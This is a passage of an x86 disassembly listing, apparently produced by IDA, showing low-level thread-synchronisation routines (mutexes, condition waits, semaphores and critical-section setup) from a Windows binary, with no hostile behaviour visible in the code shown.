CODE XREF: sub_42B830+36j push offset dword_4B2780 call ds:dword_4B386C mov eax, esi pop esi retn sub_42B830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8A0 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_42B8B4 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_42B8B4: ; CODE XREF: sub_42B8A0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_42B8CF mov eax, [edi] test eax, eax jz short loc_42B8CF cmp dword ptr [eax], 1 jnz short loc_42B8CF pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_42B8CF: ; CODE XREF: sub_42B8A0+1Aj ; sub_42B8A0+20j ... push esi push 2Ch push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jnz short loc_42B8F4 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_42B8F4: ; CODE XREF: sub_42B8A0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_42B910 mov edi, [edi] test edi, edi jz short loc_42B910 mov edi, [edi+4] jmp short loc_42B912 ; --------------------------------------------------------------------------- loc_42B910: ; CODE XREF: sub_42B8A0+63j ; sub_42B8A0+69j xor edi, edi loc_42B912: ; CODE XREF: sub_42B8A0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401B59 add esp, 0Ch test eax, eax jz short loc_42B94D push esi mov ebp, 0Bh call ds:dword_4B3AAC mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_42B94D: ; CODE XREF: sub_42B8A0+8Ej lea ecx, [esi+14h] push ecx call ds:dword_4B3860 mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_42B8A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B9B0 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_42BA90 mov eax, [edi] test eax, eax jz loc_42BA90 cmp eax, 0FFFFFFFFh jz loc_42BA55 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_4016DB mov esi, eax add esp, 4 test esi, esi jnz loc_42BA8B mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_42BA47 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010AF mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_42BA40 add edx, 10h push edx call sub_4015FA mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax call ds:dword_4B385C mov ecx, [esp+8+arg_0] push ecx call ds:dword_4B3AAC add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BA40: ; CODE XREF: sub_42B9B0+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BA47: ; CODE XREF: sub_42B9B0+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BA55: ; CODE XREF: sub_42B9B0+1Dj push offset dword_4B2780 call ds:dword_4B3868 cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42BA7B push offset dword_4B2780 mov dword ptr [edi], 0 call ds:dword_4B386C mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BA7B: ; CODE XREF: sub_42B9B0+B3j push offset dword_4B2780 mov esi, 10h call ds:dword_4B386C loc_42BA8B: ; CODE XREF: sub_42B9B0+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BA90: ; CODE XREF: sub_42B9B0+Aj ; sub_42B9B0+14j pop edi mov eax, 16h pop esi retn sub_42B9B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BAE0 proc near ; CODE XREF: sub_40192Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call ds:dword_4B3A64 add esp, 8 cmp eax, esi jnz short loc_42BB03 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42BB03: ; CODE XREF: sub_42BAE0+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_42BAE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB30 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_42BB51 mov eax, [ecx] test eax, eax jz short loc_42BB51 push eax mov [ecx], esi call ds:dword_4B3AAC add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42BB51: ; CODE XREF: sub_42BB30+9j ; sub_42BB30+Fj mov eax, 16h pop esi retn sub_42BB30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BB70: ; CODE XREF: _294ADE7B:00401AAFj mov eax, [esp+4] test eax, eax jz short loc_42BB8D mov eax, [eax] test eax, eax jz short loc_42BB8D mov ecx, [esp+8] test ecx, ecx jz short loc_42BB8D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42BB8D: ; CODE XREF: _294ADE7B:0042BB76j ; _294ADE7B:0042BB7Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BBB0: ; CODE XREF: _294ADE7B:00401820j mov eax, [esp+4] test eax, eax jz short loc_42BBDA mov ecx, [eax] test ecx, ecx jz short loc_42BBDA mov eax, [esp+8] cmp eax, 1 jz short loc_42BBCE test eax, eax jnz short loc_42BBDA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42BBCE: ; CODE XREF: _294ADE7B:0042BBC5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42BBDA: ; CODE XREF: _294ADE7B:0042BBB6j ; _294ADE7B:0042BBBCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BBF0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_42BC11 mov ecx, [ecx] test ecx, ecx jz short loc_42BC11 mov edx, [esp+arg_4] test edx, edx jl short loc_42BC11 cmp edx, 2 jg short loc_42BC11 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_42BC11: ; CODE XREF: sub_42BBF0+8j ; sub_42BBF0+Ej ... mov eax, 16h retn sub_42BBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BC30 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_42BC4E mov ecx, [ecx] test ecx, ecx jz short loc_42BC4E mov edx, [esp+arg_4] test edx, edx jz short loc_42BC4E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42BC4E: ; CODE XREF: sub_42BC30+8j ; sub_42BC30+Ej ... mov eax, 16h retn sub_42BC30 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BC70 proc near ; CODE XREF: sub_40208Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_42BD27 mov eax, [esi] test eax, eax jz loc_42BD27 cmp eax, 0FFFFFFFFh jnz short loc_42BCA1 push esi call sub_401AFF mov edi, eax add esp, 4 test edi, edi jz short loc_42BCA1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BCA1: ; CODE XREF: sub_42BC70+1Dj ; sub_42BC70+2Cj mov esi, [esi] push esi call ds:dword_4B382C test eax, eax jnz short loc_42BCCA loc_42BCAE: ; CODE XREF: sub_42BC70+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_42BCC2 call sub_4012AD loc_42BCC2: ; CODE XREF: sub_42BC70+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BCCA: ; CODE XREF: sub_42BC70+3Cj mov eax, [esi+8] test eax, eax jz short loc_42BD0A call sub_4012AD push eax mov eax, [esi+0Ch] push eax call sub_40196F add esp, 8 test eax, eax jz short loc_42BD0A push esi call ds:dword_4B3850 cmp dword ptr [esi+8], 1 jnz short loc_42BD00 mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BD00: ; CODE XREF: sub_42BC70+82j mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BD0A: ; CODE XREF: sub_42BC70+5Fj ; sub_42BC70+75j lea ecx, [esi+10h] push ecx call sub_42BD60 add esp, 4 test eax, eax jz short loc_42BCAE call ds:dword_4B3A50 mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42BD27: ; CODE XREF: sub_42BC70+Aj ; sub_42BC70+14j pop edi mov eax, 16h pop esi retn sub_42BC70 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BD60 proc near ; CODE XREF: sub_42BC70+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_42BD7A mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx call ds:dword_4B3848 test eax, eax jnz short loc_42BD7A retn ; --------------------------------------------------------------------------- loc_42BD7A: ; CODE XREF: sub_42BD60+6j ; sub_42BD60+17j call ds:dword_4B3A50 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_42BD60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BDA0 proc near ; CODE XREF: sub_401AC8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_42BF38 mov eax, [esi] test eax, eax jz loc_42BF38 cmp eax, 0FFFFFFFFh jnz short loc_42BDD1 push esi call sub_401AFF mov ebp, eax add esp, 4 test ebp, ebp jz short loc_42BDD1 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BDD1: ; CODE XREF: sub_42BDA0+1Dj ; sub_42BDA0+2Cj mov esi, [esi] push ebx push edi push esi call ds:dword_4B382C test eax, eax jnz short loc_42BE02 loc_42BDE0: ; CODE XREF: sub_42BDA0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_42BF2E call sub_4012AD pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BE02: ; CODE XREF: sub_42BDA0+3Ej mov eax, [esi+8] test eax, eax jz short loc_42BE46 call sub_4012AD push eax mov eax, [esi+0Ch] push eax call sub_40196F add esp, 8 test eax, eax jz short loc_42BE46 push esi call ds:dword_4B3850 cmp dword ptr [esi+8], 1 jnz short loc_42BE3A mov eax, [esi+4] pop edi inc eax pop ebx mov [esi+4], eax mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BE3A: ; CODE XREF: sub_42BDA0+8Aj mov ebp, 24h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BE46: ; CODE XREF: sub_42BDA0+67j ; sub_42BDA0+7Dj mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_42BE5A mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BE5A: ; CODE XREF: sub_42BDA0+ACj lea edi, [esi+10h] push eax push edi call sub_42BFB0 add esp, 8 sub eax, 0 jz loc_42BF1A dec eax jz short loc_42BEE4 dec eax jz short loc_42BE85 call ds:dword_4B3A50 mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BE85: ; CODE XREF: sub_42BDA0+D4j lea ebx, [esi+14h] push ebx call ds:dword_4B3868 push edi mov ebp, 274Ch call sub_401096 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_42BEB7 call ds:dword_4B3850 push ebx call ds:dword_4B386C pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BEB7: ; CODE XREF: sub_42BDA0+101j call ds:dword_4B3850 test eax, eax jl short loc_42BED6 push edi call sub_401037 add esp, 4 test eax, eax jz short loc_42BED6 call ds:dword_4B3A50 mov ebp, [eax] loc_42BED6: ; CODE XREF: sub_42BDA0+11Fj ; sub_42BDA0+12Cj push ebx call ds:dword_4B386C pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BEE4: ; CODE XREF: sub_42BDA0+D1j lea ebx, [esi+14h] push ebx call ds:dword_4B3868 push edi call sub_401096 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_42BF0A push esi call ds:dword_4B3850 mov ebp, 274Ch loc_42BF0A: ; CODE XREF: sub_42BDA0+15Cj push ebx call ds:dword_4B386C test edi, edi jnz short loc_42BF31 jmp loc_42BDE0 ; --------------------------------------------------------------------------- loc_42BF1A: ; CODE XREF: sub_42BDA0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_42BF2E call sub_4012AD loc_42BF2E: ; CODE XREF: sub_42BDA0+4Dj ; sub_42BDA0+187j mov [esi+0Ch], eax loc_42BF31: ; CODE XREF: sub_42BDA0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42BF38: ; CODE XREF: sub_42BDA0+Aj ; sub_42BDA0+14j pop esi mov eax, 16h pop ebp retn sub_42BDA0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BFB0 proc near ; CODE XREF: sub_42BDA0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_42C04D mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_42BFE2 or eax, 0FFFFFFFFh loc_42BFCC: ; CODE XREF: sub_42BFB0+7Ej push eax mov eax, [edi] mov ecx, [eax] push ecx call ds:dword_4B3848 test eax, eax jnz short loc_42C03B pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42BFE2: ; CODE XREF: sub_42BFB0+17j lea eax, [esp+14h+var_C] push eax call sub_4305A6 mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_42BFCC pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42C03B: ; CODE XREF: sub_42BFB0+2Aj cmp eax, 102h jnz short loc_42C04D pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42C04D: ; CODE XREF: sub_42BFB0+Bj ; sub_42BFB0+90j call ds:dword_4B3A50 mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_42BFB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_4010AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_42C140 mov esi, [eax] cmp esi, ebx jz loc_42C140 cmp esi, 0FFFFFFFFh push edi jz short loc_42C135 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_42C0EA call sub_4012AD push eax mov eax, [esi+0Ch] push eax call sub_40196F add esp, 8 test eax, eax jnz short loc_42C0EA mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42C0EA: ; CODE XREF: sub_42C0A0+2Aj ; sub_42C0A0+40j cmp [esi+8], edi jnz short loc_42C0F8 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_42C13A loc_42C0F8: ; CODE XREF: sub_42C0A0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi call ds:dword_4B3868 push esi call ds:dword_4B3850 test eax, eax jl short loc_42C128 add esi, 10h push esi call sub_401037 add esp, 4 test eax, eax jz short loc_42C128 call ds:dword_4B3A50 mov ebx, [eax] loc_42C128: ; CODE XREF: sub_42C0A0+6Ej ; sub_42C0A0+7Ej push edi call ds:dword_4B386C pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42C135: ; CODE XREF: sub_42C0A0+1Ej mov ebx, 16h loc_42C13A: ; CODE XREF: sub_42C0A0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42C140: ; CODE XREF: sub_42C0A0+Aj ; sub_42C0A0+14j pop esi mov eax, 16h pop ebx retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C180 proc near ; CODE XREF: sub_4016DBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_42C205 mov eax, [esi] test eax, eax jz short loc_42C205 cmp eax, 0FFFFFFFFh jnz short loc_42C1A2 push esi call sub_401AFF add esp, 4 mov edi, eax loc_42C1A2: ; CODE XREF: sub_42C180+15j mov esi, [esi] test edi, edi jnz short loc_42C200 push 0FFFFFFFFh push edi push esi call ds:dword_4B26F4 cmp eax, 0FFFFFFFFh jnz short loc_42C1D3 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_42C1CB call sub_4012AD loc_42C1CB: ; CODE XREF: sub_42C180+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42C1D3: ; CODE XREF: sub_42C180+35j cmp dword ptr [esi+8], 1 jnz short loc_42C1FB call sub_4012AD push eax mov eax, [esi+0Ch] push eax call sub_40196F add esp, 8 test eax, eax jz short loc_42C1FB mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42C1FB: ; CODE XREF: sub_42C180+57j ; sub_42C180+6Dj mov edi, 10h loc_42C200: ; CODE XREF: sub_42C180+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42C205: ; CODE XREF: sub_42C180+Aj ; sub_42C180+10j pop edi mov eax, 16h pop esi retn sub_42C180 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C240: ; CODE XREF: _294ADE7B:00401857j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_401177 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C270: ; CODE XREF: _294ADE7B:00401519j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4017F3 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2A0: ; CODE XREF: _294ADE7B:00401438j mov eax, [esp+4] test eax, eax jz short loc_42C2AC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_42C2AC: ; CODE XREF: _294ADE7B:0042C2A6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: _294ADE7B:00401AFAj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_42C2D2 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42C2D2: ; CODE XREF: _294ADE7B:0042C2C8j mov esi, [eax] test esi, esi jnz short loc_42C2F5 mov ecx, [eax+4] test ecx, ecx jnz short loc_42C2F5 call sub_401BCC push esi call ds:dword_4B38CC call sub_401BCC pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42C2F5: ; CODE XREF: _294ADE7B:0042C2D6j ; _294ADE7B:0042C2DDj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012AD mov esi, eax test esi, esi jnz short loc_42C32E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_42C32E: ; CODE XREF: _294ADE7B:0042C324j mov eax, [esi+30h] push edi test eax, eax jnz short loc_42C396 mov edx, [esi+38h] push edx call ds:dword_4B3848 test eax, eax jnz short loc_42C387 lea edi, [esi+2Ch] push edi call sub_40208B mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_42C376 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010AF push 2 call sub_401CA8 add esp, 8 loc_42C376: ; CODE XREF: _294ADE7B:0042C356j push edi call sub_4010AF add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42C387: ; CODE XREF: _294ADE7B:0042C342j cmp eax, 102h jz short loc_42C39C pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42C396: ; CODE XREF: _294ADE7B:0042C334j call ds:dword_4B38CC loc_42C39C: ; CODE XREF: _294ADE7B:0042C38Cj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C3F0: ; CODE XREF: _294ADE7B:00401014j push ecx lea eax, [esp+0] push eax call sub_401B13 add esp, 4 test eax, eax mov eax, 1 jnz short loc_42C40B mov eax, [esp+0] loc_42C40B: ; CODE XREF: _294ADE7B:0042C405j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C420 proc near ; CODE XREF: sub_401672j push esi call sub_4012DF push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call ds:dword_4B38A4 push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov ds:dword_4B26D8, eax call ds:dword_4B38A8 test eax, eax mov ds:dword_4B26F4, eax jnz short loc_42C46D mov eax, ds:dword_4B26D8 mov ds:dword_4B26F4, offset sub_401299 push eax call ds:dword_4B3818 mov ds:dword_4B26D8, 0 loc_42C46D: ; CODE XREF: sub_42C420+2Bj mov eax, esi pop esi retn sub_42C420 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4A0 proc near ; CODE XREF: sub_4015A0j mov eax, ds:dword_4B26DC test eax, eax jz short loc_42C4F0 mov eax, ds:dword_4B26E0 push eax call sub_40116D add esp, 4 test eax, eax jz short loc_42C4DB cmp dword ptr [eax+20h], 1 jnz short loc_42C4DB push eax call sub_4016F4 mov ecx, ds:dword_4B26E0 add esp, 4 mov edx, [ecx] push 0 push edx call ds:dword_4B3814 loc_42C4DB: ; CODE XREF: sub_42C4A0+19j ; sub_42C4A0+1Fj call sub_4015B9 mov eax, ds:dword_4B26D8 test eax, eax jz short loc_42C4F0 push eax call ds:dword_4B3818 loc_42C4F0: ; CODE XREF: sub_42C4A0+7j ; sub_42C4A0+47j mov eax, 1 retn sub_42C4A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C520 proc near ; CODE XREF: sub_4016F9j mov eax, 1 retn sub_42C520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C540 proc near ; CODE XREF: sub_401708j mov eax, ds:dword_4B26DC test eax, eax jz short loc_42C57B mov eax, ds:dword_4B26E0 push eax call sub_40116D add esp, 4 test eax, eax jz short loc_42C57B cmp dword ptr [eax+20h], 1 jnz short loc_42C57B push eax call sub_4016F4 mov ecx, ds:dword_4B26E0 add esp, 4 mov edx, [ecx] push 0 push edx call ds:dword_4B3814 loc_42C57B: ; CODE XREF: sub_42C540+7j ; sub_42C540+19j ... mov eax, 1 retn sub_42C540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C5B0: ; CODE XREF: _294ADE7B:0040209Aj push ecx push esi push offset dword_4B27E0 xor esi, esi call ds:dword_4B3868 mov eax, ds:dword_4B26E8 test eax, eax mov [esp+4], eax jz short loc_42C5EE loc_42C5CC: ; CODE XREF: _294ADE7B:0042C5ECj test esi, esi jnz short loc_42C5EE lea eax, [esp+4] push eax call sub_401587 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_42C5CC loc_42C5EE: ; CODE XREF: _294ADE7B:0042C5CAj ; _294ADE7B:0042C5CEj push offset dword_4B27E0 call ds:dword_4B386C mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C630 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_42C649 mov eax, [eax] test eax, eax jz short loc_42C649 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_42C649 xor eax, eax retn ; --------------------------------------------------------------------------- loc_42C649: ; CODE XREF: sub_42C630+6j ; sub_42C630+Cj ... mov eax, 1 retn sub_42C630 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C660 proc near ; CODE XREF: sub_4012DFj mov eax, ds:dword_4B26DC test eax, eax jz short loc_42C66F mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42C66F: ; CODE XREF: sub_42C660+7j push 0 push offset dword_4B26E0 mov ds:dword_4B26DC, 1 call sub_401582 add esp, 8 test eax, eax jnz short loc_42C69E push eax push offset dword_4B26E4 call sub_401582 add esp, 8 test eax, eax jz short loc_42C6A3 loc_42C69E: ; CODE XREF: sub_42C660+2Aj call sub_4015B9 loc_42C6A3: ; CODE XREF: sub_42C660+3Cj push esi mov esi, ds:dword_4B3860 push offset dword_4B2720 call esi push offset dword_4B2780 call esi push offset dword_4B27E0 call esi push offset dword_4B2760 call esi push offset dword_4B27C0 call esi push offset dword_4B27A0 call esi mov eax, ds:dword_4B26DC pop esi retn sub_42C660 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C700 proc near ; CODE XREF: sub_4015B9j mov eax, ds:dword_4B26DC test eax, eax jz locret_42C7B9 mov eax, ds:dword_4B26E0 test eax, eax jz short loc_42C729 push eax call sub_4019BF add esp, 4 mov ds:dword_4B26E0, 0 loc_42C729: ; CODE XREF: sub_42C700+14j mov eax, ds:dword_4B26E4 test eax, eax jz short loc_42C745 push eax call sub_4019BF add esp, 4 mov ds:dword_4B26E4, 0 loc_42C745: ; CODE XREF: sub_42C700+30j push esi push offset dword_4B2720 call ds:dword_4B3868 mov eax, ds:dword_43FA0C cmp eax, 1 jz short loc_42C773 push edi mov edi, ds:dword_4B3AAC loc_42C762: ; CODE XREF: sub_42C700+70j mov esi, [eax+8] push eax call edi add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_42C762 pop edi loc_42C773: ; CODE XREF: sub_42C700+59j push offset dword_4B2720 call ds:dword_4B386C mov esi, ds:dword_4B385C push offset dword_4B27A0 call esi push offset dword_4B27C0 call esi push offset dword_4B2760 call esi push offset dword_4B27E0 call esi push offset dword_4B2780 call esi push offset dword_4B2720 call esi mov ds:dword_4B26DC, 0 pop esi locret_42C7B9: ; CODE XREF: sub_42C700+7j retn sub_42C700 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C7F0: ; CODE XREF: _294ADE7B:loc_401AA0j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov 